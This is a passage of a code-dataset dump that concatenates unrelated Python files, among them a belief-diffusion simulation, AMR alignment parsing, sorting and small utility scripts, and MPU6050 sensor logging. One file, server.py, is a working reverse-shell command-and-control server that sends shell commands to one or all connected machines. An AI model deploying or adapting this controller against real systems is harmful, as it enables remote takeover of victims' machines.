susceptibles'] = res['inter susceptibles'].iloc[-1]\n # match final susceptibility\n for step, g4, s2 in simulate_independent_match_susceptibility(copy.deepcopy(g),\n sus_target=res['inter susceptibles'].iloc[-1]/100,\n n_steps=16,\n n_concepts=n_concepts,\n beliefs=beliefs):\n # jaccards = measure_interpersonal_similarity(g4)\n # res.at[step, 'match top decile similarity'] = measure_mean_interpersonal_similarity(jaccards, 90)\n # res.at[step, 'match bottom decile similarity'] = measure_mean_interpersonal_similarity(jaccards, 10, False)\n # res.at[step, 'match 90 percentile similarity'] = np.percentile(list(jaccards.values()), 90)\n # res.at[step, 'match 10 percentile similarity'] = np.percentile(list(jaccards.values()), 10)\n # res.at[step, 'match num social clusters'], res.at[step, 'match prominence of social clusters'] = \\\n # measure_social_clusters_hierarchy(jaccards, method=clustering)\n\n a_df = pd.DataFrame(index=g4.nodes(), columns=[tuple(b) for b in beliefs])\n for n in g4:\n for b in beliefs:\n a_df.at[n, tuple(b)] = g4.node[n]['M'].has_edge(*b)\n # res.at[step, 'match interpersonal belief corr'] = a_df.astype(float).corr().abs().mean().mean()\n res.at[step, 'match best connected belief corr'] = correlate_best(a_df)\n\n diffusion = measure_diffusion(g4, beliefs)\n res.at[step, 'match top decile semantic clustering'], res.at[step, 'match top decile semantic modularity'] = \\\n measure_belief_clustering_coefficient(diffusion, 90)\n # res.at[step, 'match bottom decile semantic clustering'], res.at[step, 'match bottom decile semantic modularity'] = \\\n # measure_belief_clustering_coefficient(diffusion, 10, above=False)\n # res.at[step, 'match num semantic clusters'] = measure_num_belief_clusters(diffusion)\n\n res.at[step, 'match adopters'] = np.mean(list(diffusion.values())) / n_agents * 100\n # res.at[step, 'match initial suscep correlation'] = np.corrcoef(\n # [s2[tuple(b)] for b in beliefs], [diffusion[tuple(b)] for b in beliefs])[1][0]\n res.at[step, 'match net initial suscep correlation'] = np.corrcoef(\n [s2[tuple(b)] - ai[tuple(b)] for b in beliefs], [diffusion[tuple(b)] - ai[tuple(b)] for b in beliefs])[1][0]\n\n corrs = a_df.astype(float).T.corr().mask(np.tri(n_agents, n_agents, 0, dtype='bool')).stack().sort_values()\n res.at[step, 'match correlation similarity 95%'] = np.percentile(corrs, 95)\n # res.at[step, 'match correlation similarity 90%'] = np.percentile(corrs, 90)\n # res.at[step, 'match correlation similarity 50%'] = np.percentile(corrs, 50)\n # res.at[step, 'match correlation similarity 10%'] = np.percentile(corrs, 10)\n res.at[step, 'match correlation similarity 5%'] = np.percentile(corrs, 5)\n\n pca = PCA(n_components=n_agents)\n pca.fit(a_df)\n pca.fit(a_df)\n res.at[step, 'match pca1 explained variance'] = pca.explained_variance_[0]\n res.at[step, 'match pca2 explained variance'] = pca.explained_variance_[1]\n res.at[step, 'match pca total variance'] = np.sum(pca.explained_variance_)\n pc1_pts = pca.transform(a_df)[:, 0]\n res.at[step, 'match kurtosis of PC1'] = kurtosis(pc1_pts)\n\n # if randomization == 'concepts':\n # g_random = randomize_beliefs(g4, n_concepts=n_concepts)\n # elif randomization == 'beliefs':\n # g_random = randomize_beliefs(g4, beliefs=beliefs)\n # elif randomization == 'shuffle':\n # g_random = randomize_beliefs(g4)\n # jaccards = measure_interpersonal_similarity(g_random)\n # res.at[step, 'match rand top decile similarity'] = measure_mean_interpersonal_similarity(jaccards, 90)\n # res.at[step, 'match rand 90 percentile similarity'] = np.percentile(list(jaccards.values()), 90)\n # res.at[step, 'match rand bottom decile similarity'] = measure_mean_interpersonal_similarity(jaccards, 10, False)\n # res.at[step, 'match rand 10 percentile similarity'] = np.percentile(list(jaccards.values()), 10)\n # res.at[step, 'match rand num social clusters'], res.at[step, 'match rand prominence of social clusters'] = \\\n # measure_social_clusters_hierarchy(jaccards, method=clustering)\n #\n # a_df = pd.DataFrame(index=g_random.nodes(), columns=[tuple(b) for b in beliefs])\n # for n in g_random:\n # for b in beliefs:\n # a_df.at[n, tuple(b)] = g_random.node[n]['M'].has_edge(*b)\n # res.at[step, 'match rand interpersonal belief corr'] = a_df.astype(float).corr().abs().mean().mean()\n # res.at[step, 'match rand best connected belief corr'] = correlate_best(a_df)\n #\n # corrs = a_df.astype(float).T.corr().mask(np.tri(40, 40, 0, dtype='bool')).stack().sort_values()\n # res.at[step, 'match rand correlation similarity 95%'] = np.percentile(corrs, 95)\n # res.at[step, 'match rand correlation similarity 90%'] = np.percentile(corrs, 90)\n # res.at[step, 'match rand correlation similarity 50%'] = np.percentile(corrs, 50)\n # res.at[step, 'match rand correlation similarity 10%'] = np.percentile(corrs, 10)\n # res.at[step, 'match rand correlation similarity 5%'] = np.percentile(corrs, 5)\n\n # Independent\n for step, g5 in simulate_independent(copy.deepcopy(g),\n n_steps=16,\n beliefs=beliefs):\n # jaccards = measure_interpersonal_similarity(g5)\n # res.at[step, 'NF top decile similarity'] = measure_mean_interpersonal_similarity(jaccards, 90)\n # res.at[step, 'NF bottom decile similarity'] = measure_mean_interpersonal_similarity(jaccards, 10, False)\n # res.at[step, 'NF 90 percentile similarity'] = np.percentile(list(jaccards.values()), 90)\n # res.at[step, 'NF 10 percentile similarity'] = np.percentile(list(jaccards.values()), 10)\n # res.at[step, 'NF num social clusters'], res.at[step, 'NF prominence of social clusters'] = \\\n # measure_social_clusters_hierarchy(jaccards, method=clustering)\n #\n # a_df = pd.DataFrame(index=g5.nodes(), columns=[tuple(b) for b in beliefs])\n # for n in g5:\n # for b in beliefs:\n # a_df.at[n, tuple(b)] = g5.node[n]['M'].has_edge(*b)\n # res.at[step, 'NF mean belief corr'] = a_df.astype(float).corr().abs().mean().mean()\n\n diffusion = measure_diffusion(g5, beliefs)\n res.at[step, 'NF diffusion'] = np.mean(list(diffusion.values())) / n_agents * 100\n res.at[step, 'NF susceptibles'] = res['inter susceptibles'].iloc[0]\n\n # res.at[step, 'NF top decile clustering'], res.at[step, 'RF top decile modularity'] = \\\n # measure_belief_clustering_coefficient(diffusion, 90)\n # res.at[step, 'NF bottom decile clustering'], res.at[step, 'RF bottom decile modularity'] = \\\n # measure_belief_clustering_coefficient(diffusion, 10, above=False)\n # res.at[step, 'NF num semantic clusters'] = measure_num_belief_clusters(diffusion)\n #\n # if randomization == 'concepts':\n # g_random = randomize_beliefs(g5, n_concepts=n_concepts)\n # elif randomization == 'beliefs':\n # g_random = randomize_beliefs(g5, beliefs=beliefs)\n # elif randomization == 'shuffle':\n # g_random = randomize_beliefs(g5)\n # jaccards = measure_interpersonal_similarity(g_random)\n # res.at[step, 'NF Rand top decile similarity'] = measure_mean_interpersonal_similarity(jaccards, 90)\n # res.at[step, 'NF Rand 90 percentile similarity'] = np.percentile(list(jaccards.values()), 90)\n # res.at[step, 'NF Rand bottom decile similarity'] = measure_mean_interpersonal_similarity(jaccards, 10,\n # False)\n # res.at[step, 'NF Rand 10 percentile similarity'] = np.percentile(list(jaccards.values()), 10)\n # res.at[step, 'NF Rand num social clusters'], res.at[step, 'Rand prominence of social clusters'] = \\\n # measure_social_clusters_hierarchy(jaccards, method=clustering)\n\n # sequential diffusion\n\n # seq_diff_df = pd.DataFrame(index=range(10), columns=[tuple(b) for b in beliefs])\n # seq_sus_df = pd.DataFrame(index=range(10), columns=[tuple(b) for b in beliefs])\n # g2 = copy.deepcopy(g)\n # for edge in np.random.permutation(beliefs):\n # for step in range(10):\n # seq_diff_df.at[step, tuple(edge)] = measure_diffusion(g2, [edge])[tuple(edge)]\n # seq_sus_df.at[step, tuple(edge)] = measure_susceptibility(g2, [edge], susceptible_func)[tuple(edge)]\n # simulate_individual(g2, edge, n_steps=1, adopt=adopt_func)\n # res['FF diffusion'] = seq_diff_df.mean(axis=1)/n_agents*100\n # res['FF susceptibility'] = seq_sus_df.mean(axis=1)/n_agents*100\n # res['FF top decile clustering'] = [measure_belief_clustering_coefficient(diffusion, 90)\n # for i, diffusion in seq_diff_df.T.to_dict().items()]\n # res['FF num semantic clusters'] = [measure_num_belief_clusters(diffusion)\n # for i, diffusion in seq_diff_df.T.to_dict().items()]\n \n \n # individual diffusion\n # ind_diff_df = pd.DataFrame(index=range(10), columns=[tuple(b) for b in beliefs])\n # ind_sus_df = pd.DataFrame(index=range(10), columns=[tuple(b) for b in beliefs])\n # adoptions = [pd.DataFrame(index=g.nodes(), columns=[tuple(b) for b in beliefs]) for i in range(10)]\n # for edge in np.random.permutation(beliefs):\n # g3 = copy.deepcopy(g)\n # for step in range(10):\n # ind_diff_df.at[step, tuple(edge)] = measure_diffusion(g3, [edge])[tuple(edge)]\n # ind_sus_df.at[step, tuple(edge)] = measure_susceptibility(g3, [edge], susceptible_func)[tuple(edge)]\n # adoptions[step][tuple(edge)] = [g3.node[n]['M'].has_edge(*edge) for n in g3]\n # simulate_individual(g3, edge, n_steps=1, adopt=adopt_func)\n #\n #\n # res['NF diffusion'] = ind_diff_df.mean(axis=1)/n_agents*100\n # res['NF susceptibility'] = ind_sus_df.mean(axis=1)/n_agents*100\n #\n # res['NF top decile clustering'], res['NF top decile modularity'] = zip(\n # *[measure_belief_clustering_coefficient(diffusion, 90) for i, diffusion in ind_diff_df.T.to_dict().items()])\n # res['NF bottom decile clustering'], res['NF bottom decile modularity'] = zip(\n # *[measure_belief_clustering_coefficient(diffusion, 10, above=False) for i, diffusion in ind_diff_df.T.to_dict().items()])\n #\n # res['NF num semantic clusters'] = [measure_num_belief_clusters(diffusion)\n # for i, diffusion in ind_diff_df.T.to_dict().items()]\n #\n # res['NF mean belief corr'] = [a_df.astype(float).corr().abs().mean().mean() for a_df in adoptions]\n \n \n return res\n\n\ndef opt_point(args):\n\n\n network, n_agents, deg, n_beliefs, n_concepts, pathlength, threshold, clustering, randomization = args\n res = {\n 'network': network,\n 'n_agents': n_agents,\n 'n_beliefs': n_beliefs,\n 'n_concepts': n_concepts,\n 'deg': deg,\n }\n\n try:\n g, beliefs = setup(*args[:5])\n adopt_func = fast_adopt\n susceptible_func = fast_susceptible\n\n\n\n ######## Interdependent ###########\n # initial conditions\n res['inter initial susceptibles'] = np.mean(\n list(measure_susceptibility(g, beliefs, susceptible_func).values())) / n_agents * 100\n res['inter initial adopters'] = np.mean(list(measure_diffusion(g, beliefs).values())) / n_agents * 100\n\n g1 = copy.deepcopy(g)\n s1 = measure_susceptibility(g1, beliefs, fast_susceptible)\n ai = measure_diffusion(g1, beliefs)\n\n simulate_simultaneous(g1, beliefs, n_steps=10, adopt=adopt_func)\n diffusion1 = measure_diffusion(g1, beliefs)\n\n res['inter final susceptibles'] = np.mean(\n list(measure_susceptibility(g1, beliefs, susceptible_func).values())) / n_agents * 100\n res['inter final adopters'] = np.mean(list(diffusion1.values())) / n_agents * 100\n\n res['inter net initial suscep correlation'] = np.corrcoef(\n [s1[tuple(b)] - ai[tuple(b)] for b in beliefs],\n [diffusion1[tuple(b)] - ai[tuple(b)] for b in beliefs]\n )[1][0]\n\n a_df1 = pd.DataFrame(index=g1.nodes(), columns=[tuple(b) for b in beliefs])\n for n in g1:\n for b in beliefs:\n a_df1.at[n, tuple(b)] = g1.node[n]['M'].has_edge(*b)\n res['inter best connected belief corr'] = correlate_best(a_df1)\n\n res['inter top decile semantic clustering'], res['inter top decile semantic modularity'] = \\\n measure_belief_clustering_coefficient(diffusion1, 90)\n\n res['inter top 5% semantic clustering'], res['inter top 5% semantic modularity'] = \\\n measure_belief_clustering_coefficient(diffusion1, 95)\n\n corrs1 = a_df1.astype(float).T.corr().mask(np.tri(n_agents, n_agents, 0, dtype='bool')).stack().sort_values()\n res['inter correlation similarity 95%'] = np.percentile(corrs1, 95)\n res['inter correlation similarity 5%'] = np.percentile(corrs1, 5)\n\n pca1 = PCA(n_components=n_agents)\n pca1.fit(a_df1)\n res['inter pca1 var'] = pca1.explained_variance_[0]\n res['inter pca2 var'] = pca1.explained_variance_[2]\n res['inter pca total variance'] = np.sum(pca1.explained_variance_)\n\n\n ####### Independent ###########\n\n\n for step, g2, s2 in simulate_independent_match_susceptibility(copy.deepcopy(g),\n sus_target=res['inter final susceptibles'] / 100,\n n_steps=10,\n n_concepts=n_concepts,\n beliefs=beliefs):\n\n pass\n\n res['match initial susceptibles'] = np.mean(list(s2.values())) / n_agents * 100\n res['match initial adopters'] = res['inter initial adopters']\n res['match final susceptibles'] = res['match initial susceptibles']\n res['match final adopters'] = np.mean(list(measure_diffusion(g2, beliefs).values())) / n_agents * 100\n\n diffusion2 = measure_diffusion(g2, beliefs)\n\n res['match net initial suscep correlation'] = np.corrcoef(\n [s2[tuple(b)] - ai[tuple(b)] for b in beliefs],\n [diffusion2[tuple(b)] - ai[tuple(b)] for b in beliefs]\n )[1][0]\n\n\n\n a_df2 = pd.DataFrame(index=g2.nodes(), columns=[tuple(b) for b in beliefs])\n for n in g2:\n for b in beliefs:\n a_df2.at[n, tuple(b)] = g2.node[n]['M'].has_edge(*b)\n res['match best connected belief corr'] = correlate_best(a_df2)\n\n res['match top decile semantic clustering'], res['match top decile semantic modularity'] = \\\n measure_belief_clustering_coefficient(diffusion2, 90)\n\n res['match top 5% semantic clustering'], res['match top 5% semantic modularity'] = \\\n measure_belief_clustering_coefficient(diffusion2, 95)\n\n corrs2 = a_df2.astype(float).T.corr().mask(np.tri(n_agents, n_agents, 0, dtype='bool')).stack().sort_values()\n res['match correlation similarity 95%'] = np.percentile(corrs2, 95)\n res['match correlation similarity 5%'] = np.percentile(corrs2, 5)\n\n pca2 = PCA(n_components=n_agents)\n pca2.fit(a_df2)\n res['match pca1 var'] = pca2.explained_variance_[0]\n res['match pca2 var'] = pca2.explained_variance_[1]\n res['match pca total variance'] = np.sum(pca2.explained_variance_)\n\n\n\n except:\n pass\n\n\n return res","sub_path":"simulation/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":42989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"10048572","text":"#!/usr/bin/env python\n#coding=utf-8\n\n'''\nDefinition of Alignments class. For each sentence, computes the list of node variables that are aligned \nto each index in the sentence, if any. \n\n@author: Marco Damonte (s1333293@inf.ed.ac.uk)\n@since: 23-02-13\n'''\n\nimport src.amr\nimport re\nfrom collections import defaultdict\n\nclass Alignments:\n\n\tdef _traverse(self, parsed_amr, amr):\n\t\troot = re.findall(\"^\\([a-zA-Z0-9]+ / [a-zA-Z0-9]+\",amr)[0].split(\" \")[0][1:]\n\t\ttriples = parsed_amr.triples()\n\t\ttriples2 = []\n\t\tinstanced = set()\n\t\tfor i in range (0, len(triples)):\n\t\t\trel = triples[i]\n\t\t\tif rel[1] != \":instance-of\":\n\t\t\t\tif rel[2].is_constant() or ((i + 1) < len(triples) and triples[i + 1][0] == rel[2] and triples[i + 1][1] == \":instance-of\"):\n\t\t\t\t\ttriples2.append(rel)\n\t\tindexes = {}\n\t\tqueue = []\n\t\tqueue.append((root, \"0\"))\n\n\t\twhile len(queue) > 0:\n\t\t\t(node,prefix) = queue.pop(0)\n\t\t\tindexes[prefix] = node\n\t\t\tchildren = [t[2] for t in triples2 if str(t[0]) == node]\n\t\t\ti = 0\n\t\t\tfor c in children:\n\t\t\t\tc = str(c)\n\t\t\t\tqueue.append((c, prefix + \".\" + str(i)))\n\t\t\t\ti += 1\n\t\treturn indexes\n\n\tdef __init__(self, alignments_filename, graphs):\n\t\tself.alignments = []\n\t\tfor g, line in zip(graphs,open(alignments_filename)):\n\t\t\tamr = g.strip()\n\t\t\tparsed_amr = src.amr.AMR(amr)\n\t\t\tline = line.strip()\n\t\t\tindexes = self._traverse(parsed_amr, amr)\t\n\t\t\tal = defaultdict(list)\n\t\t\tif line != \"\":\n\t\t\t\tfor a in line.split(\" \"):\n\t\t\t\t\tif a.strip() == \"\":\n\t\t\t\t\t\tcontinue\n\t\t\t\t\tstart = a.split(\"|\")[0].split(\"-\")[0]\n\t\t\t\t\tif start[0] == \"*\":\n\t\t\t\t\t\tstart = start[1:]\n\t\t\t\t\tend = a.split(\"|\")[0].split(\"-\")[1]\n\t\t\t\t\tfor i in range(int(start),int(end)):\n\t\t\t\t\t\tfor segment in a.split(\"|\")[1].split(\"+\"):\n\t\t\t\t\t\t\tal[i].append(indexes[segment])\n\t\t\tself.alignments.append(al)","sub_path":"alignments.py","file_name":"alignments.py","file_ext":"py","file_size_in_byte":1742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"516578769","text":"from sqlalchemy import update\nfrom core import user_table, engine\n\nconn = engine.connect()\n\nu = update(user_table).where(user_table.c.nome == 'yuuki')\n\n# u = u.values(nome='yuuki')\n# u = u.values(idade=(user_table.c.idade - 4))\nu = u.values(idade=19)\n\nresult = conn.execute(u)\n\nprint(result.rowcount)","sub_path":"live11/core_update.py","file_name":"core_update.py","file_ext":"py","file_size_in_byte":300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"360782663","text":"def heapsort(arr):\n for i in range(len(arr) // 2, -1, -1):\n heapify(arr, len(arr), i)\n\n for j in range(len(arr) - 1, -1, -1):\n arr[0], arr[j] = arr[j], arr[0]\n heapify(arr, j, 0)\n return arr\n\n\ndef heapify(arr, n, i):\n while i * 2 + 1 < n:\n leftIdx = i * 2 + 1\n rightIdx = i * 2 + 2\n swapIdx = leftIdx\n if (rightIdx < n and arr[leftIdx] < arr[rightIdx]):\n swapIdx += 1\n if arr[i] > arr[swapIdx]:\n break\n\n arr[i], arr[swapIdx] = arr[swapIdx], arr[i]\n i = swapIdx\n return arr\n","sub_path":"heap_sort.py","file_name":"heap_sort.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"454901808","text":"#! /usr/bin/python\n\nimport time\nimport math\nimport mpu6050\nimport MySQLdb\nimport smbus\n\n\ndb = MySQLdb.connect(\"localhost\", \"voiture\", \"voiture\", \"voiture\")\n\n\ndef read_byte(adr):\n return bus.read_byte_data(address, adr)\n\ndef read_word(adr):\n high = bus.read_byte_data(address, adr)\n low = bus.read_byte_data(address, adr+1)\n val = (high << 8) + low\n return val\n\ndef read_word_2c(adr):\n val = read_word(adr)\n if (val >= 0x8000):\n return -((65535 - val) + 1)\n else:\n return val\n\ndef dist(a,b):\n return math.sqrt((a*a)+(b*b))\n\ndef get_y_rotation(x,y,z):\n radians = math.atan2(x, dist(y,z))\n return -math.degrees(radians)\n\ndef get_x_rotation(x,y,z):\n radians = math.atan2(y, dist(x,z))\n return math.degrees(radians)\n\nbus = smbus.SMBus(1) # or bus = smbus.SMBus(1) for Revision 2 boards\naddress = 0x68 # This is the address value read via the i2cdetect \n\n\n# Sensor initialization\nmpu = mpu6050.MPU6050()\nmpu.dmpInitialize()\nmpu.setDMPEnabled(True)\n \n# get expected DMP packet size for later comparison\npacketSize = mpu.dmpGetFIFOPacketSize()\n\nwhile True:\n # Get INT_STATUS byte\n mpuIntStatus = mpu.getIntStatus()\n \n if mpuIntStatus >= 2: # check for DMP data ready interrupt (this should happen frequently)\n # get current FIFO count\n fifoCount = mpu.getFIFOCount()\n \n # check for overflow (this should never happen unless our code is too inefficient)\n if fifoCount == 1024:\n # reset so we can continue cleanly\n mpu.resetFIFO()\n print('FIFO overflow!')\n \n \n # wait for correct available data length, should be a VERY short wait\n fifoCount = mpu.getFIFOCount()\n while fifoCount < packetSize:\n fifoCount = mpu.getFIFOCount()\n \n result = mpu.getFIFOBytes(packetSize)\n q = mpu.dmpGetQuaternion(result)\n g = mpu.dmpGetGravity(q)\n ypr = mpu.dmpGetYawPitchRoll(q, g)\n \n #print(ypr['yaw'] * 180 / math.pi),\n #print(ypr['pitch'] * 180 / math.pi),\n #print(ypr['roll'] * 180 / math.pi)\n\n\n gyro_xout = read_word_2c(0x43) / 131\n gyro_yout = read_word_2c(0x45) / 131\n gyro_zout = read_word_2c(0x47) / 131\n \n accel_xout = read_word_2c(0x3b) / 16384.0\n accel_yout = read_word_2c(0x3d) / 16384.0\n accel_zout = read_word_2c(0x3f) / 16384.0\n\n yaw = ypr['yaw'] * 180 / math.pi\n pitch = ypr['pitch'] * 180 / math.pi\n roll = ypr['roll'] * 180 / math.pi\n\n x_rotation = get_x_rotation(accel_xout, accel_yout, accel_zout)\n y_rotation = get_y_rotation(accel_xout, accel_yout, accel_zout)\n\n cursor = db.cursor() \n query = (\"INSERT INTO gyrodata(yaw, pitch, roll, gyrox, gyroy, gyroz, accx, accy, accz, accel_rotate_x, accel_rotate_y) VALUES(%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\")\n data_query = [yaw, pitch, roll, gyro_xout, gyro_yout, gyro_zout, accel_xout, accel_yout, accel_zout, x_rotation, y_rotation]\n cursor.execute(query, data_query)\n db.commit()\n cursor.close()\n \n # track FIFO count here in case there is > 1 packet available\n # (this lets us immediately read more without waiting for an interrupt)\n fifoCount -= packetSize \n","sub_path":"arbo_voiture/devices/IMU/recup_imu_data.py","file_name":"recup_imu_data.py","file_ext":"py","file_size_in_byte":3320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"434728144","text":"from solitario import solve\n\nPOPULATION = 100\n\n\ndef test(poblacion = POPULATION, output=False):\n iter = 0\n exitos = 0\n\n while iter < poblacion:\n exitos += solve(output)\n iter += 1\n print('Numero de éxitos: {} de {} = {}%'.format(exitos, poblacion, 100.0*(exitos/poblacion)))\n return exitos\n\n\nif __name__ == '__main__':\n test(POPULATION, output=False)\n","sub_path":"py_indra/solitario/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"231594832","text":"#!/usr/bin/python3\n\nimport socket, sys\nfrom threading import Thread\nfrom queue import Queue\n\nHOST = '0.0.0.0'\nPORT = 3000\nconnections_list = list()\naddress_list = list()\nNUMBER_OF_THREADS = 4\n\nsend = lambda a, b : a.send(b.encode())\n\ndef getdir(conn) :\n send(conn, 'cwd')\n return conn.recv(4097).decode()\n\ndef send_to(q, cmd) :\n while True :\n conn = q.get()\n conn.send(cmd.encode())\n q.task_done()\n \n\ndef senders(*args) :\n for _ in range(NUMBER_OF_THREADS) :\n Thread(target=send_to, args=args, daemon=True).start()\n\n\"\"\" Open a TCP server socket \"\"\"\ndef create_socket() :\n global objSocket\n\n try :\n objSocket = socket.socket()\n objSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n except socket.error() as ex :\n print(f'Error creating Socket :{str(ex)}\\n')\n\n\"\"\" Binding SOCKET \"\"\"\ndef bind_socket() :\n global objSocket\n while True :\n try :\n objSocket.bind((HOST, PORT))\n objSocket.listen(20)\n print(f'Socket Created on {HOST}:{PORT}\\n')\n break\n except socket.error() as ex:\n print(f'error Binding Socket {ex}\\n')\n\n\"\"\" Accept incomming connections \"\"\"\ndef accept_connections() :\n global connections_list \n global address_list\n\n for conn in connections_list :\n conn.close()\n\n del connections_list\n del address_list\n connections_list = list()\n address_list = list()\n\n while True :\n conn, addr = objSocket.accept()\n connections_list.append(conn)\n address_list.append(addr[0])\n\n\"\"\" Send a cmd to all connection \"\"\"\ndef send_to_all(cmd) :\n q = Queue()\n for conn in connections_list :\n q.put(conn)\n\n senders(q, cmd)\n q.join()\n\n\"\"\" Start reverse shell to just \"\"\"\ndef shell_to_target(conn) :\n while True :\n dirc = getdir(conn)\n cmd = input(f'\\n{dirc} $ ')\n\n if cmd == 'exit' :\n break\n else :\n send(conn, cmd)\n data_back = conn.recv(4049)\n print(data_back.decode())\n\n\"\"\" Start the reverse shell \"\"\"\ndef start_shell() :\n while True :\n options_display = '1. List all connections\\n2. Shell to a specifique target\\n3. Shell to all targets\\nq. Quit'\n print(options_display)\n choise = input('\\n>>> ')\n\n if choise == '1' :\n if len(address_list) >= 1 :\n print('\\n*** List of connections :')\n for i, addr in enumerate(address_list) :\n print(f'{i + 1} - {addr}')\n print('==============================\\n')\n else :\n print(\"\\nNo connections established\\n\")\n\n elif choise == '3' :\n while True :\n cmd = input(\"\\n$ \")\n if cmd == 'q' : break\n else :\n send_to_all(cmd)\n\n elif choise == '2' :\n n = input('Choise target :\\n')\n if int(n) > len(connections_list) :\n print('[!] Target doesn\\'t exist.')\n else : \n target = connections_list[int(n) - 1]\n addr = address_list[int(n) - 1]\n print(f'Connection to {addr}')\n shell_to_target(target)\n \n\n elif choise == 'q':\n sys.exit()\n\n else :\n print('\\n[!] Please from options list')\n\n\nif __name__ == '__main__' :\n create_socket()\n bind_socket()\n Thread(target=accept_connections, daemon=True).start()\n start_shell()\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":3530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"218485723","text":"quarter = .250\ndime = .10\nnickel = .050\npenny = .010\n\ndef quarters(dollars,):\n q= dollars // quarter\n d = dollars - q * quarter\n return q, float(\"{:.2f}\".format(d))\n\ndef dimes(dollars,): \n di = dollars // dime\n do = dollars - di * dime\n return di, float(\"{:.2f}\".format(do))\n\ndef nickels(dollars,): \n n = dollars // nickel\n d = dollars - n * nickel\n\n return n,float(\"{:.2f}\".format(d))\n\ndef pennies(dollars,): \n p = dollars // penny\n return p\n\n\ndef main():\n dollars = float(input('''\nEnter the amount of money you would like to convert :\nFor less than $1, enter the amount as a decimal;\nI.E. 67 cents is equal to \".67\"\nFor any value over $1; \nEnter the whole dollars followed by the remainder in decimal form,\nI.E. 4 Dollars and 67 cents is equal to \"4.67\"\nEnter Dollar amount : $'''))\n \n print(f\"Number of Quarters : {quarters(dollars,)[0]}\")\n dollars = quarters(dollars,)[1]\n\n print(f\"Number of Dimes : {dimes(dollars,)[0]}\")\n dollars = dimes(dollars,)[1]\n\n print(f\"Number of Nickels : {nickels(dollars,)[0]}\")\n dollars = nickels(dollars,)[1]\n\n print(f\"Number of Pennies : {pennies(dollars,)}\")\n\nmain()","sub_path":"Students/cadillacjack/Python/lab11/make_change_v1.py","file_name":"make_change_v1.py","file_ext":"py","file_size_in_byte":1164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"337552738","text":"'''\nlong=raw_input('long=')\nwide=raw_input('wide=')\nnum=long*wide\nprint(num)\n'''\n'''\nsecond=500\nshi=second//60\ntime=second%60\nprint(shi,time)\n'''\n'''\nx,y,a,b,c=1,1,0,0,0\np1=(3+4*x)/3\np2=10*(y-5)*(a+b+c)/x\np3=9*(4/x+(9+x)/y)\nsum=p1-p2+p3\nprint(sum)\n'''\n\n# num = 1000 or num = \"hahah\" and so on ....\n# \nnum = raw_input(\">>\") # return str type, raw_input == input(python3), its input,\nint_num = int(num) #int :: change to int type,it's class type inpython\nfloat_num = float(num) # change to float\naera = int_num * int_num * 3.14\nprint(aera)\n\n'''\nwidth,height = 100,50 \nprint(width,height)\narea = width * height\n'''\n'''\n# EP:1\ntime_ = int(raw_input(\">>\"))# change int,raw_input returns string.\nmin_ = time_ // 60 # get mins\ntimes = time_ % 60 # get times\nprint(min_,times)\n# EP:2\nx,y,a,b,c = 1,1,0,0,0\npart1 =( 3 + 4 * x) / 5\npart2 = 10 * (y-5) * (a + b + c )/ x\npart3 = 9 * ((4/x) + (9+x)/y)\n\nres = part1 - part2 + part3\nprint(res)\n'''\n\n\n","sub_path":"day20180925.py","file_name":"day20180925.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"645494398","text":"# implementation of merge sort\n\ndef merge(left, right):\n\tnL, nR = len(left), len(right) \n\tres = [0 for i in range(nL+nR)]\n\ti, j, k = 0, 0, 0\n\n\twhile i < nL and j < nR:\n\t\tif left[i] <= right[j]:\n\t\t\tres[k] = left[i]\n\t\t\ti += 1\n\t\telse:\n\t\t\tres[k] = right[j]\n\t\t\tj += 1\n\n\t\tk += 1\n\n\twhile i < nL:\n\t\tres[k] = left[i]\n\t\ti += 1\n\t\tk += 1\n\n\twhile j < nR:\n\t\tres[k] = right[j]\n\t\tj += 1\n\t\tk += 1\n\n\treturn res\n\ndef merge_sort(array):\n\tn = len(array)\n\n\tif n < 2: \n\t\treturn array\n\n\treturn merge(merge_sort(array[:n//2]), merge_sort(array[n//2:]))\n\n\nfrom random import randint\n\nprint(merge_sort([randint(1,100) for i in range(10)]))\n","sub_path":"python/Merge Sort.py","file_name":"Merge Sort.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"341069524","text":"import os\nimport shutil\nfrom glob import iglob as glob\n\nSRC_DIR = './env/Library/bin'\nDST_DIR = './pclpy_dependencies/bin'\n\npatterns = [\n 'pcl_*.dll',\n\n 'boost_*.dll',\n 'bzip2.dll',\n 'comerr64.dll',\n 'flann*.dll',\n 'gssapi64.dll',\n 'hdf5*.dll',\n 'k5sprt64.dll',\n 'kfwlogon.dll',\n 'krb5_64.dll',\n 'krbcc64.dll',\n 'las.dll',\n 'laszip*.dll',\n 'leashw64.dll',\n 'libblas.dll',\n 'libbz2.dll',\n 'libcblas.dll',\n 'libcurl.dll',\n 'libimalloc.dll',\n 'libio*.dll',\n 'liblapack.dll',\n 'liblz4.dll',\n 'liblzma.dll',\n 'libssh2.dll',\n 'libzstd.dll',\n\n 'mkl_*.dll',\n 'qhull*.dll',\n\n 'tcl86t.dll',\n 'tk86t.dll'\n 'xpprof64.dll',\n 'zstd.dll',\n 'zlib.dll'\n]\n\nfor pattern in patterns:\n for path in glob(os.path.join(SRC_DIR, pattern)):\n print('{} -> {}'.format(path, DST_DIR))\n shutil.copy(path, 